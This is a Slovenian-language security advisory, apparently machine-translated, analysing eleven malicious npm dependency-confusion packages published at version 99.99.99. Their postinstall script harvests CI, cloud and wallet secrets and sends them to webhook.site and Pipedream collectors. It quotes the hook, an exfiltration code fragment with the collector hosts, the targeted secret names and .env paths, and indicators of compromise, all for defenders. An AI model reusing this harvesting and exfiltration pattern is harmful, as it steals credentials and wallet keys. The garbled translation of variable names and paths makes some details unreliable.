TL; DR
17. 06. 2026 je bil objavljen en sam npm račun enajst paketov, ki imajo en namen in en koristni tovorDeset jih nosi cryptodao- predpona (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); enajsti je obseg @public-for-cdao/coreVsak je bil objavljen v različici 99.99.99 in pošlje bajtno identičen recon.js ki teče naprej postinstall.
Imena so glavna značilnost. Berejo se kot notranji gradniki zasebne verige orodij kripto/DAO projekta. Objavljena so v javnem registru npm z umetno visoko različico in čakajo na gradnjo. pipeline ki je konfiguriran za razreševanje teh imen in doseže javni npm pred zasebnim registrom ali namesto njega. To je zmeda glede odvisnostiin koristni tovor je nastavljen točno na mesto, kjer naj bi pristal: CI/CD tekači.
Kdaj postinstall požari, recon.js zbira podatke o gostitelju, grobo pregleduje štirideset spremenljivk okolja v oblaku, CI in kripto denarnici, bere katero koli .env datoteke, ki jih lahko najde, in dobesedno posreduje vrstice, ki vsebujejo skrivnost, nato pa sveženj pošlje dvema zbiralcema – webhook.site in končno točko Pipedream – z onemogočenim preverjanjem potrdila TLS. Kopija je napisana tudi pod /tmp.
Resnost: visokoPrizadeti ekosistem: npmV času pisanja tega članka je bilo vseh enajst paketov aktivnih.
Anatomija napada
Mehanizem ima štiri gibljive dele in nobeden od njih ni subtilen, ko enkrat veste, da poglejte eno plast dlje od imena paketa.
1. Inflacija različic kot vaba za razreševanje. Vsak paket navaja različico 99.99.99Zmeda glede odvisnosti deluje, ko upravitelj paketov zahteva notranje ime, preveri tudi javni register in izbere najvišjo različico, ki jo najde. npm-ova privzeta izbira za obseg kazalk ali nadomestnih znakov je najzadovoljivejša različica v vseh konfiguriranih virih; če sta oba zasebna register in javni npm odgovor za isto ime, zmaga večja številka različice. A 99.99.99 prekaša v bistvu katero koli dejansko interno različico, ki jo bo imel projekt dosežen, zato razreševalec, ki ni pripet na zasebni vir, daje prednost javno – in v tem primeru sovražno – kopijo. Upravljavcu ni treba poznati resnične številke različic cilja; izbira absurdnega maksimuma vedno zagotavlja izenačenje si ubije pot.
2. Sprožilec po namestitvi. paket.json poveže koristni tovor z namestitvijo življenjski cikel:
{ "scripts": { "postinstall": "node recon.js" } } Uvoz paketa ni potreben. Zgolj namestitev – kar je CI pipeline samodejno — teče recon.js.
3. Obsežna tajna preiskava. recon.js sestavi tabelo rezultatov v fazah:
- Kontekst gostitelja: ime gostitelja, platforma in izdaja, arhitektura, uporabniško ime, delovanje imenik.
- Spremenljivke okolja: iterira fiksni seznam približno štiridesetih imen in zapisov vse, ki so nastavljene. Seznam je razkrivajoč – združuje generične žetone CI (ŽETON_CI_JOB, GESLO_REGISTRA_CI, ŽETON_DOSTOPA_DO_GITLAB-a) in oblak poverilnice (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, ŽETON_SEJE_AWS) s skrivnostmi registra in vsebnika (NPM_TOKEN, DOCKER_PASSWORD, GESLO_ZA_PRISTANIŠČE) in izrazito kripto-okusno gručo: ZASEBNI_KLJUČ, MNEMONIKA, SEED_PHRASE, INFURA_API_KEY, KLJUČ_API_ALCHEMY, ETH_RPC, BSC_RPCZabeležene vrednosti so skrajšane na prvih 50 znakov.
- .env datoteke: preišče seznam poti — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /domov/gitlab-runner/.env, /root/.env, in .proizvodnja/.razvoj različice – in za vsako obstoječo datoteko, filtrira vsebino v ujemajoče se vrstice KLJUČ|SKRIVNOST|ŽETON|GESLO|ZASEBNO|MNEMONIK in te vrstice **v celoti, neskrajšane** potisne v rezultate.
- Kontekst gostitelja gradnje: navaja prvih 20 vnosov /gradi/, /domov/gitlab-runner/gradi/, /var/lib/gitlab-runner/in / tmp /.
Seznam poti in seznam spremenljivk sta ponderirana v smeri izvajalcev GitLab, kar kaže na koristni bremen neposredno pri samostojni infrastrukturi CI in ne pri razvijalcu prenosnik. Združevanje seznama pridelka po kategorijah jasno pojasni predvideni ulov:
| Kategorija | Dosežene spremenljivke / poti |
|---|---|
| CI/CD identiteta in uvedba | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| Cloud | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| Register in vsebnik | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| Shrambe podatkov | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| Kripto / veriženje blokov | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| Sporočila | SLACK_TOKEN, DISCORD_TOKEN |
| Na disku | .env družina + /home/gitlab-runner/.env, /root/.env, /app/**/.envseznami v imeniku /builds/, /var/lib/gitlab-runner/ |
Kripto gruča je del, ki to loči od generične CI-skrivnosti. sweep: fraze za denarnico in ključi za podpisovanje se pojavijo le v okolju projekt veriženja blokov in se neposredno preslikajo na kriptodao-/znamenje/pogodbe poimenovanje prevoznikov.
4. Dvojna izsesavanje z onemogočenim preverjanjem. Zbrana matrika je serializirano in poslano na dva cilja:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) zavrnitevNepooblaščeno: napačno izklopi preverjanja potrdil TLS za odhodno pošto klici. Isti podatki se izpišejo na stdout (torej pristanejo tudi v dnevnikih opravil CI) in napisana /tmp/.npm_recon_ .jsonNapake se tiho pogoltnejo, zato Neuspešno pošiljanje v namestitvenem izhodu ne pusti sledi razen enega samega [izvidnica] nameščeno na Line.
Vodilni komentar v datoteki to opisuje kot »zmedo zaradi odvisnosti«. »Izvidniški tovor.« Skrajšanje vrednosti okolja na 50 znakov je oblika dokaza koncepta. Kar ga premakne mimo svetilnika, ki prikazuje samo prisotnost, je .env ravnanje: linije, ki nosijo tajne podatke, se posredujejo v celoti, cilji pa sta dva delujoča zbiralnika, ki ju nadzoruje napadalec, in ne ponor, ki šteje samo zadetkov.
Timeline
Vzorec objave je podpis enega samega skriptiranega potiska, ne enajstih neodvisni prenosi.
| Čas (UTC, 17. 06. 2026) | Event |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 objavljeno |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — različica z omejenim dosegom, ~24 minut kasneje |
Deset paketov je bilo odposlanih v 29-sekundnem oknu, približno eden na tri sekunde. Obseg @public-for-cdao/core sledilo približno 24 minut pozneje – sekundo konvencija poimenovanja za isti cilj, če se projekt, ki ga uporablja, sklicuje na notranja veriga orodij pod področjem uporabe in ne kot gola imena.
Kazalniki kompromisa
| tip | Kazalec |
|---|---|
| Collector | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| Collector | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| Namestite kavelj | postinstall: node recon.js |
| Spuščena datoteka | /tmp/.npm_recon_<timestamp>.json |
| Označevalec hloda | [recon] <pkg>@<ver> installed on <hostname> (stdout v dnevnikih CI) |
| Vedenjsko | rejectUnauthorized: false na odhodnem HTTPS-ju med namestitvijo |
| Obremenitev | recon.js, enak v vseh enajstih paketih (ena skupna gradnja) |
| različica | 99.99.99 na vsakem paketu |
| Paketi | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (vse 99.99.99) |
| Založba | aduljune / aduljune@proton.me (e-pošta ni preverjena, ni povezave do repozitorija izvorne kode) |
Pripisovanje in opazovano vedenje
Vse v zvezi s skupino kaže na eno roko. Objavljenih je bilo vseh enajst paketov. prek računa npm aduljune (aduljune@proton.me, nepreverjen naslov brez repozitorij povezane izvorne kode), v 25-minutnem razponu, hkrati 99.99.99 različica, pošiljanje recon.js katerih vsebina je bajt za bajtom enaka v vseh paket (MD5 se ujema z vsemi enajstimi izvlečenimi kopijami). To je en koristni delež vtisnjeno na seznam imen, ne pa neodvisna ponovna uporaba kode.
Seznam imen določa predvideni cilj. kriptodao-* in cdao opišite postavitev zasebnega modula kripto/DAO projekta in seznam žetve koristnega tovora ogledala, ki ugibajo: poleg generičnih skrivnosti CI in oblaka, posebej doseže ZASEBNI_KLJUČ, MNEMONIKA, SEED_PHRASEin Ethereum/BSC RPC ter ključi ponudnika. .env Iskalne poti in seznami imenikov so GitLab-runner specifičen. Opazen učinek je, da kateri koli pipeline prevarani pri namestitvi teh imena bi posredovala svoje žetone CI, ključe v oblaku in podatke na disku .env skrivnosti – in za projekt veriženja blokov, material za denarnico – dvema zunanjima zbiralcema.
Ne trdimo, kdo upravlja račun ali kaj so nameravali storiti z njim. podatki. Dejstva, ki stojijo sama zase: imena so usmerjena na določeno vrsto notranja veriga orodij, koristni tovor bere in prenaša resnične tajne vrednosti in infrastruktura je bila v živo.
Vpliv, trendi in smernice za branilce
Zmeda zaradi odvisnosti ostaja učinkovit, ker izkorišča vedenje razreševalnika, ne pa ranljivost v katerem koli paketu. Nosilec je tukaj trivialen – enajst skoraj praznih paketi – vendar je polmer eksplozije karkoli pipeline pomotoma daje prednost javnemu npm-u za notranje ime. CI izvajalci so najslabše mesto za to: imajo točno žetone in .env datoteke, ki jih ta koristni tovor prebere, in jih namesti odvisnosti neinteraktivno, torej a po namestitvi teče brez da bi ga kdo opazoval.
Ta gruča se ujema tudi z vzorcem, ki ga nenehno opažamo: koristni tovori v času namestitve, ki predstavljajo kot »raziskava« ali »izvidnica« med dejanskim zbiranjem poverilnic. Oznaka v datoteki ne spremeni delovanja kode na tekaču. Ohranimo dve možnosti oblikovanja tiha dejavnost: vsaka omrežna in datotečna operacija je zavita v obdelovalec izjem, ki zavrže napake, torej blokirano pošiljanje ali manjkajočo datoteko ne ustvari nobenega diagnostičnega izhoda, edino, kar se natisne, je en sam neškodljiv [rekonstrukcija] … nameščeno vrstica, ki se zlije z običajnim klepetom med namestitvijo. Uporaba webhook.site in Pipedream je tudi namerno udoben – oba sta brezplačna, storitve zajemanja zahtev so takoj zagotovljene, zato operater ne potrebuje strežnikov svoje, cilji pa so v izhodnih dnevnikih videti kot običajna imena gostiteljev SaaS.
Zaradi ekonomije je to vredno pozornosti branilca, čeprav Koda operaterja je trivialna. Registracija enajstih imen ne stane nič, koristni tovor je ena Datoteka je bila kopirana enajstkrat, upravljalnik paketov pa opravi vso izvedbo. Ena sama napačno konfigurirano pipeline kjerkoli, kjer se uporabi eno od teh imen, plača za celoto delovanje.
Konkretni koraki za zagovornike:
- Pripnite notranje obsege v svoj zasebni register. Konfigurirajte npm za notranja imena
in obsegi se razrešujejo samo glede na vaš register (obsežne preslikave registra .npmrc, ali posredniški strežnik, ki se nikoli ne poveže z javnim npm za lastniške imenske prostore). Rezervirajte svoja javna imena obsega, da jih nihče drug ne more registrirati.
- Commit zaklepne datoteke in jih namestite z –ignore-scripts v CI kjer je to izvedljivo, ali preverite majhen nabor odvisnosti, ki resnično potrebujejo namestitvene skripte. recon.js se ne more zagnati, če po namestitvi se ne izvaja.
- Obravnavajte 99.99.99 (ali drugo absurdno visoko) različico imena, ki je videti kot interno kot rdeča zastava pri pregledu odvisnosti in spremljanju registra.
- Opozorilo o izhodu med namestitvijo. A po namestitvi ki odpre odhodni HTTPS povezava – zlasti z onemogočenim preverjanjem potrdil – do Storitve za zajemanje zahtev, kot so webhook.site, Pipedream ali podobne, je vredno blokirati na robu omrežja in jih označiti v dnevnikih gradnje.
- Lov na artefakte. Preverite tekače za /tmp/.npm_recon_*.json in za [rekonstrukcija] … nameščeno na … označevalcu v nedavnih dnevnikih CI. Če ga najdemo, ga zavrtimo vsakih poverilnica, izpostavljena temu pipeline — Žetoni CI, ključi v oblaku, žetoni registra in vsa semena denarnic ali zasebni ključi, prisotni v okolju ali datotekah .env.
Reference
V času pisanja ni bilo zunanjega poročanja o tej skupini; analiza zgoraj navedeno temelji neposredno na objavljeni vsebini paketa




